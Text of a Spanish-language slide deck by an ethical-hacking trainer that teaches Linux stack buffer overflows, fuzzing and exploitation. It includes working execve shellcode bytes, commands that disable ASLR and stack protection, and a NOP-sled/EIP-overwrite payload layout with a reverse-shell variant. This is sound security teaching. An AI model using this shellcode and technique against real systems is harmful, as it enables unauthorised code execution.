Documentos de Académico
Documentos de Profesional
Documentos de Cultura
Quin soy?
Geek Arequipeo Consultor Ethical Hacker Trainer
www.Open-Sec.com
Linux vs Windows ?
www.Open-Sec.com
Linux Vulnerabilities
Buffer Overflow Heap Overflow Integer Overflow Format String Race Condition Use after free Invalid Pointer or reference
www.Open-Sec.com
Linux Vulnerabilities
http://cwe.mitre.org/data/definitions/633.html
www.Open-Sec.com
Linux Vulnerabilities
Vulnerabilidades en el Kernel (ring 0)
www.Open-Sec.com
Buffer Overflow
Un desbordamiento de buffer es un error de software que se produce cuando se copia una cantidad de datos sobre un rea que no es lo suficientemente grande para contenerlos, sobrescribiendo de esta manera otras zonas de memoria.
www.Open-Sec.com
Buffer
Bloque de memoria contiguo que guarda mltiples instancias de un mismo tipo de dato. Arrays int [], char [],
www.Open-Sec.com
Buffer Overflow
1996, Aleph One, Smashing the Stack for Fun and Profit Morris Worm (1988) Conficker (2008)
www.Open-Sec.com
www.Open-Sec.com
Buffer.c
int main(int argc, char** argv) { char buff[5]; char str[20] = 12345678901234567890; strcpy(buff, str); return 0; }
www.Open-Sec.com
Pila (Stack)
www.Open-Sec.com
Pila (Stack)
Almacenar la direccin de retorno. Variables locales Paso de parmetros Contexto de subrutinas Retorno de valores
www.Open-Sec.com
Pila (Stack)
int main(int argc, char** argv) { int a=1; int b=2; sumar2(a,b); return 0; } int sumar2 (int x, int y) { x++; y++; return x+y; }
ret
Pila (Stack)
www.Open-Sec.com
www.Open-Sec.com
www.Open-Sec.com
Stack Overflow
www.Open-Sec.com
www.Open-Sec.com
www.Open-Sec.com
Se llama fuzzing a las diferentes tcnicas de testeo de software capaces de generar y enviar datos secuenciales o aleatorios hacia los puntos de entrada de una aplicacin, con el objeto de detectar defectos o vulnerabilidades o existentes en el software auditado
Los fuzzers pueden estar enfocados a tanto a protocolos de red, como a formatos de archivos, sistemas de ficheros, etc
www.Open-Sec.com
www.Open-Sec.com
Fuzzing : Demo
www.Open-Sec.com
Cmo se explota ?
Controlar el registro EIP . Ingresar cdigo malicioso (shellcode). Sobreescribir EIP con la direccin de memoria que haga referencia al cdigo malicioso.
www.Open-Sec.com
Shellcode (payload)
Es un conjunto de rdenes programadas generalmente en lenguaje ensamblador y trasladadas a opcodes que suelen ser inyectadas en la pila para luego ser ejecutadas. El trmino shellcode deriva de su propsito general, esto era una porcin de un exploit utilizada para obtener una shell.
www.Open-Sec.com
# echo 0 > /proc/sys/kernel/randomize_va_space >= 2.6.12 $ gcc -fno-stack-protector -z execstack -o bug bug.c
www.Open-Sec.com
Vulnerabilidad Local
SMASHME
www.Open-Sec.com
[133] [EIP] Shellcode (\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2 f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80) 133-21 = 112 NOP = 0x90 [112 NOPs] [Shellcode] [EIP]
www.Open-Sec.com
www.Open-Sec.com
Vulnerabilidad Remota
VULN
www.Open-Sec.com
[268] [EIP] [Shellcode] Shellcode >> msfpayload Shell reversa EIP = JMP ESP
www.Open-Sec.com
www.Open-Sec.com
Links de inters
www.google.com www.shell-storm.org Smashing The Stack for Fun & Profit www.google.com
www.Open-Sec.com
Happy Hacking
Mauricio Velazco Certified Ethical Hacker mvelazco@open-sec.com http://ehopen-sec.blogspot.com/ http://twitter.com/mvelazco